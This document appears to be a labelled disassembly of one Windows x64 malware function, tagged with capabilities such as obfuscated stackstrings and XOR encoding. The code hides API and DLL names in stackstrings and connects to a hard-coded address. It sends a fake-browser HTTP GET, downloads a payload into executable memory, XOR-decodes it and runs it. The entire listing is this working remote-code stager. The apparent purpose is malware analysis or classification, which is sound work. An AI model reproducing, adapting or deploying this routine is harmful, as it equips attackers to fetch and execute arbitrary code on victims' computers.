Function at 0x140001008
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
jmp 0x140001008
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd18]
sub rsp, 0xe18
mov ecx, 0x726774c
call fcn.140001724
xor edi, edi
mov dword [rbp + 0x50], 0x72657375
mov rbx, rax
mov byte [rbp + 0x5a], dil
lea rcx, [rbp + 0x50]
mov dword [rbp + 0x54], 0x642e3233
mov word [rbp + 0x58], 0x6c6c
call rbx
lea rcx, [rbp + 0x60]
mov dword [rbp + 0x60], 0x5f327377
mov dword [rbp + 0x64], 0x642e3233
mov word [rbp + 0x68], 0x6c6c
mov byte [rbp + 0x6a], dil
call rbx
lea rcx, [rbp + 0x70]
mov dword [rbp + 0x70], 0x6376736d
mov dword [rbp + 0x74], 0x642e7472
mov word [rbp + 0x78], 0x6c6c
mov byte [rbp + 0x7a], dil
call rbx
mov ecx, 0x6b8029
call fcn.140001724
mov ecx, 0xe0df0fea
mov qword [rbp + 0xa0], rax
call fcn.140001724
mov ecx, 0x6174a599
mov rdi, rax
call fcn.140001724
mov ecx, 0x5f38ebc2
mov r14, rax
call fcn.140001724
mov ecx, 0xe553a458
mov qword [rbp + 0xa8], rax
call fcn.140001724
mov ecx, 0x5fc8d902
mov qword [rbp + 0x90], rax
call fcn.140001724
mov ecx, 0x614d6e75
mov r15, rax
call fcn.140001724
mov ecx, 0x803428a9
mov qword [rbp + 0x98], rax
call fcn.140001724
mov ecx, 0x4d7b1e12
mov r13, rax
call fcn.140001724
mov ecx, 0xd0eb608d
mov r12, rax
call fcn.140001724
mov ecx, 0x70f2fa31
mov rsi, rax
call fcn.140001724
mov ecx, 0xe449f330
mov rbx, rax
call fcn.140001724
lea rdx, [rbp + 0x290]
mov ecx, 0x80
call rax
xor eax, eax
mov dword [rbp - 0x60], 0x73257325
mov byte [rbp - 0x5a], al
lea r9, [rbp + 0x30]
lea rax, [rbp + 0xd60]
mov word [rbp - 0x5c], 0x7325
lea r8, [rbp + 0x290]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x60]
mov dword [rbp + 0x30], 0x5f676f6c
lea rcx, [rbp + 0x290]
mov dword [rbp + 0x34], 0x2e6564
mov dword [rbp + 0xd60], 0x676f6c
call rsi
xor edx, edx
lea rcx, [rbp + 0x290]
call rbx
xor ebx, ebx
test eax, eax
je 0x14000170f
lea rax, [rbp + 0xd78]
mov dword [rbp + 0xd68], 0x343677
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x60]
lea rax, [rsp + 0x58]
mov dword [rbp + 0xd70], 0x5f7377
lea r8, [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x48]
mov dword [rsp + 0x68], 0x312e3334
lea rcx, [rbp + 0x110]
mov byte [rsp + 0x6c], bl
mov dword [rsp + 0x60], 0x322e3833
mov byte [rsp + 0x64], bl
mov dword [rsp + 0x58], 0x362e3035
mov byte [rsp + 0x5c], bl
mov dword [rbp + 0xd78], 0x39
mov byte [rbp + 0xd7c], bl
mov dword [rbp - 0x78], 0
mov byte [rbp - 0x74], bl
mov dword [rbp - 0x80], 0
mov byte [rbp - 0x7c], bl
mov dword [rsp + 0x78], 0
mov byte [rsp + 0x7c], bl
mov dword [rsp + 0x70], 0
mov byte [rsp + 0x74], bl
mov dword [rsp + 0x48], 0x73257325
mov dword [rsp + 0x4c], 0x73257325
mov byte [rsp + 0x50], bl
mov dword [rbp - 0x70], 0x73257325
mov byte [rbp - 0x6c], bl
call rsi
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x80]
lea rax, [rsp + 0x78]
lea r8, [rbp - 0x78]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0xf0]
call rsi
lea r9, [rbp + 0xf0]
lea r8, [rbp + 0x110]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xb0]
call rsi
mov ecx, 0x202
lea rdx, [rbp + 0x770]
call qword [rbp + 0xa0]
test eax, eax
jne 0x14000170f
lea edx, [rbx + 1]
xor r9d, r9d
mov dword [rsp + 0x28], edx
lea ecx, [rbx + 2]
lea r8d, [rbx + 6]
mov dword [rsp + 0x20], ebx
call rdi
mov rdi, rax
test rax, rax
je 0x14000170f
lea rcx, [rbp + 0xb0]
mov dword [rbp + 0x80], 0x941f0002
call r13
test rax, rax
jne 0x14000130e
lea rcx, [rbp + 0xb0]
call r12
jmp 0x140001317
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov dword [rbp + 0x84], eax
mov r12d, 0x10
jmp 0x140001330
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, r12d
lea rdx, [rbp + 0x80]
mov rcx, rdi
call r14
test eax, eax
jne 0x140001325
lea r8, [rbp + 0xd68]
mov dword [rbp + 0x18], 0x20544547
lea rdx, [rbp - 0x58]
mov dword [rbp + 0x1c], 0x613f2f
lea rcx, [rbp + 0x210]
mov dword [rbp - 0x58], 0x2673253d
mov word [rbp - 0x54], 0x3d68
mov byte [rbp - 0x52], bl
mov dword [rbp + 0x40], 0x74267325
mov dword [rbp + 0x44], 0x2673253d
mov byte [rbp + 0x48], bl
mov dword [rbp - 0x48], 0x64253d70
mov dword [rbp - 0x44], 0x544820
mov dword [rbp + 0x28], 0x312f5054
mov dword [rbp + 0x2c], 0xd312e
mov dword [rbp + 0x38], 0x736f480a
mov dword [rbp + 0x3c], 0x203a74
mov dword [rbp - 0x40], 0x253a7325
mov dword [rbp - 0x3c], 0xa0d64
mov dword [rbp - 0x20], 0x72657355
mov dword [rbp - 0x1c], 0x67412d
mov dword [rbp - 0x28], 0x3a746e65
mov dword [rbp - 0x24], 0x6f4d20
mov dword [rbp - 0x30], 0x6c6c697a
mov dword [rbp - 0x2c], 0x352f61
mov dword [rbp - 0x38], 0x2820302e
mov dword [rbp - 0x34], 0x6e6957
mov dword [rbp - 8], 0x73776f64
mov dword [rbp - 4], 0x544e20
mov dword [rbp - 0x10], 0x312e3620
mov dword [rbp - 0xc], 0x72203b
mov dword [rbp + 0x20], 0x343a7620
mov dword [rbp + 0x24], 0x302e38
mov dword [rbp - 0x18], 0x47202920
mov dword [rbp - 0x14], 0x6b6365
mov dword [rbp + 0x10], 0x322f6f20
mov dword [rbp + 0x14], 0x303130
mov dword [rbp + 8], 0x30313020
mov dword [rbp + 0xc], 0x462031
mov dword [rbp], 0x65726920
mov dword [rbp + 4], 0x786f66
mov dword [rbp - 0x50], 0x38342f20
mov word [rbp - 0x4c], 0x302e
mov byte [rbp - 0x4a], bl
mov dword [rbp - 0x68], 0xa0d0a0d
mov byte [rbp - 0x64], bl
call rsi
lea r9, [rbp + 0xd70]
lea r8, [rbp + 0xb0]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x1d0]
call rsi
movzx eax, word [rbp + 0x82]
lea rdx, [rbp - 0x48]
movzx r8d, al
lea rcx, [rbp + 0x190]
shl r8d, 8
shr eax, 8
or r8d, eax
call rsi
movzx eax, word [rbp + 0x82]
lea r8, [rbp + 0xb0]
movzx r9d, al
lea rdx, [rbp - 0x40]
shl r9d, 8
lea rcx, [rbp + 0x250]
shr eax, 8
or r9d, eax
call rsi
lea rax, [rbp - 0x38]
mov dword [rsp + 0x40], 0x73257325
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x28]
lea rax, [rbp - 0x30]
mov word [rsp + 0x44], 0x7325
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x20]
mov byte [rsp + 0x46], bl
mov dword [rsp + 0x30], 0x73257325
mov dword [rsp + 0x34], 0x73257325
mov byte [rsp + 0x38], bl
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x170]
call rsi
lea rax, [rbp - 0x18]
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x10]
lea rax, [rbp + 0x20]
lea r8, [rbp - 8]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x150]
call rsi
lea rax, [rbp - 0x50]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 8]
lea rax, [rbp]
lea r8, [rbp + 0x10]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x130]
call rsi
lea rax, [rbp + 0x130]
lea r9, [rbp + 0x150]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x170]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x310]
call rsi
lea rax, [rbp + 0x190]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x210]
lea rax, [rbp + 0x1d0]
lea r8, [rbp + 0x18]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x570]
call rsi
lea rax, [rbp + 0x310]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x38]
lea rax, [rbp + 0x250]
lea r8, [rbp + 0x28]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x370]
call rsi
lea rax, [rbp - 0x68]
lea r9, [rbp + 0x370]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x570]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x910]
call rsi
xor r9d, r9d
lea rdx, [rbp + 0x910]
mov r8d, 0x400
mov rcx, rdi
call qword [rbp + 0xa8]
mov r12, qword [rbp + 0x90]
xor ecx, ecx
mov edx, 0xbb8
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call r12
mov r14, rax
test rax, rax
je 0x14000170f
mov esi, ebx
mov r13d, 1
mov ebx, esi
xor r9d, r9d
add rbx, r14
mov r8d, r13d
mov rdx, rbx
mov rcx, rdi
call r15
cmp byte [rbx], 0xa
jne 0x1400016a3
lea ecx, [rsi - 1]
cmp byte [rcx + r14], 0xd
jne 0x1400016a3
lea ecx, [rsi - 2]
cmp byte [rcx + r14], 0xa
jne 0x1400016a3
lea ecx, [rsi - 3]
cmp byte [rcx + r14], 0xd
je 0x1400016ac
cmp eax, r13d
jl 0x1400016ac
add esi, eax
jmp 0x14000166c
xor ecx, ecx
mov edx, 0x1c9c380
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call r12
mov rbx, rax
test rax, rax
je 0x14000170f
xor esi, esi
mov r14d, 0x64000
mov rdx, rax
jmp 0x1400016f3
xor r8d, r8d
test eax, eax
je 0x1400016ec
lea ecx, [r8 + rsi]
add r8d, r13d
xor byte [rcx + rbx], 0x99
cmp r8d, eax
jb 0x1400016dc
add esi, eax
mov edx, esi
add rdx, rbx
xor r9d, r9d
mov r8d, r14d
mov rcx, rdi
call r15
cmp eax, r13d
jge 0x1400016d5
mov rcx, rdi
call qword [rbp + 0x98]
call rbx
add rsp, 0xe18
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret